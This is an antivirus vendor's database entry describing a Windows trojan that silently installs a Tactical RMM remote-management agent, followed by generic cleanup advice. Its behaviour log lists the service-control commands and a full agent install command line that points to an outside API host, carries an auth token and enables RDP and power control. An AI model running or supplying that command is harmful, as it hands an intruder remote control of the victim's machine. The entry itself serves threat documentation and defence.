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Trojan.Siggen13.57290

Added to the Dr.Web virus database: 2021-06-16

Virus description added:

Technical Information

Malicious functions
Executes the following
  • '%WINDIR%\syswow64\net.exe' stop tacticalagent
  • '%WINDIR%\syswow64\net.exe' stop checkrunner
  • '%WINDIR%\syswow64\net.exe' stop tacticalrpc
  • '%WINDIR%\syswow64\taskkill.exe' /F /IM tacticalrmm.exe
Modifies file system
Creates the following files
  • %WINDIR%\temp\winagent-v1.1.11.exe
  • %TEMP%\is-kehl9.tmp\winagent-v1.1.11.tmp
  • %TEMP%\setup log 2021-06-15 #001.txt
  • %TEMP%\is-4dn93.tmp\_isetup\_setup64.tmp
  • %ProgramFiles%\tacticalagent\is-50akn.tmp
  • %ProgramFiles%\tacticalagent\is-lrgk3.tmp
  • %ProgramFiles%\tacticalagent\is-e7gb5.tmp
  • %ProgramFiles%\tacticalagent\is-sq01m.tmp
  • %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\tactical rmm agent.lnk
  • %ProgramFiles%\tacticalagent\unins000.dat
Deletes the following files
  • %TEMP%\is-4dn93.tmp\_isetup\_setup64.tmp
  • %TEMP%\is-kehl9.tmp\winagent-v1.1.11.tmp
Moves the following files
  • from %ProgramFiles%\tacticalagent\is-50akn.tmp to %ProgramFiles%\tacticalagent\unins000.exe
  • from %ProgramFiles%\tacticalagent\is-lrgk3.tmp to %ProgramFiles%\tacticalagent\tacticalrmm.exe
  • from %ProgramFiles%\tacticalagent\is-e7gb5.tmp to %ProgramFiles%\tacticalagent\nssm.exe
  • from %ProgramFiles%\tacticalagent\is-sq01m.tmp to %ProgramFiles%\tacticalagent\saltcustom
Network activity
Connects to
  • 'gi##ub.com':443
  • 'gi#########ases.githubusercontent.com':443
  • 'ap#.##pcrepairs.xyz':4222
  • 'ap#.##pcrepairs.xyz':443
TCP
Other
  • 'gi##ub.com':443
  • 'gi#########ases.githubusercontent.com':443
  • 'ap#.##pcrepairs.xyz':443
UDP
  • DNS ASK gi##ub.com
  • DNS ASK gi#########ases.githubusercontent.com
  • DNS ASK ap#.##pcrepairs.xyz
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: ''
Creates and executes the following
  • '%WINDIR%\temp\winagent-v1.1.11.exe' /VERYSILENT /SUPPRESSMSGBOXES
  • '%TEMP%\is-kehl9.tmp\winagent-v1.1.11.tmp' /SL5="$160218,4400191,824832,%WINDIR%\Temp\winagent-v1.1.11.exe" /VERYSILENT /SUPPRESSMSGBOXES
  • '%ProgramFiles%\tacticalagent\tacticalrmm.exe' -m install --api https://api.ylpcrepairs.xyz --client-id 3 --site-id 3 --agent-type workstation --auth 89787bf6d44bb9b4ff1a1fc121513498449be25fc1787978cf60869eac69780f -rdp -power
  • '%WINDIR%\syswow64\cmd.exe' /c net stop tacticalagent' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c net stop checkrunner' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c net stop tacticalrpc && ping 127.0.0.1 -n 2' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill /F /IM tacticalrmm.exe && ping 127.0.0.1 -n 2' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c net start tacticalagent && ping 127.0.0.1 -n 3' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c net start checkrunner' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c net start tacticalrpc' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /c net stop tacticalagent
  • '%WINDIR%\syswow64\net1.exe' stop tacticalagent
  • '%WINDIR%\syswow64\cmd.exe' /c net stop checkrunner
  • '%WINDIR%\syswow64\net1.exe' stop checkrunner
  • '%WINDIR%\syswow64\cmd.exe' /c net stop tacticalrpc && ping 127.0.0.1 -n 2
  • '%WINDIR%\syswow64\net1.exe' stop tacticalrpc
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill /F /IM tacticalrmm.exe && ping 127.0.0.1 -n 2
  • '%WINDIR%\syswow64\cmd.exe' /c net start tacticalagent && ping 127.0.0.1 -n 3
  • '%WINDIR%\syswow64\net.exe' start tacticalagent
  • '%WINDIR%\syswow64\net1.exe' start tacticalagent
  • '%WINDIR%\syswow64\cmd.exe' /c net start checkrunner
  • '%WINDIR%\syswow64\net.exe' start checkrunner
  • '%WINDIR%\syswow64\net1.exe' start checkrunner
  • '%WINDIR%\syswow64\cmd.exe' /c net start tacticalrpc
  • '%WINDIR%\syswow64\net.exe' start tacticalrpc
  • '%WINDIR%\syswow64\net1.exe' start tacticalrpc

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android